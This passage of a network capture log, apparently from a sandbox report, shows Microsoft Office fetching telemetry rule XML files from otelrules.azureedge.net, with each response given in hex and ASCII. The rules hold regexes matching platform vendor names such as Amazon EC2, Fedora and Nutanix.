R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200519Z-1777c6cb754dqf99hC1TEB5nps0000000a00000000002tnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6841e066-001e-0065-2611-3b0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200519Z-r1d97b99577656nchC1TEBk98c00000009eg000000003zyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200520Z-1777c6cb754wcxkwhC1TEB3c6w00000009y000000000q2b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200521Z-r1d97b99577hc74hhC1TEBvbns000000094000000000kcc7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:21 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200521Z-185f5d8b95c4vwv8hC1NYCy4v40000000as00000000143u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:21 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: c366b67a-401e-0083-1804-3b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200522Z-r1d97b99577jlrkbhC1TEBq8d000000009a00000000024d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:21 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 5cb5275b-201e-0033-36eb-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200522Z-r1d97b99577l6wbzhC1TEB3fwn00000009c000000000mff7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:21 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200522Z-1777c6cb754mqztshC1TEB4mkc0000000a1000000000r72b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-185f5d8b95crwqd8hC1NYCps680000000ap000000000xfzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd359c47-601e-0002-7817-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-r1d97b99577d6qrbhC1TEBux5s00000009bg00000000th8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-178bfbc474bq2pr7hC1NYCkfgg00000000pg000000005ra3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-185f5d8b95csd4bwhC1NYCq7dc0000000ag000000001czpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 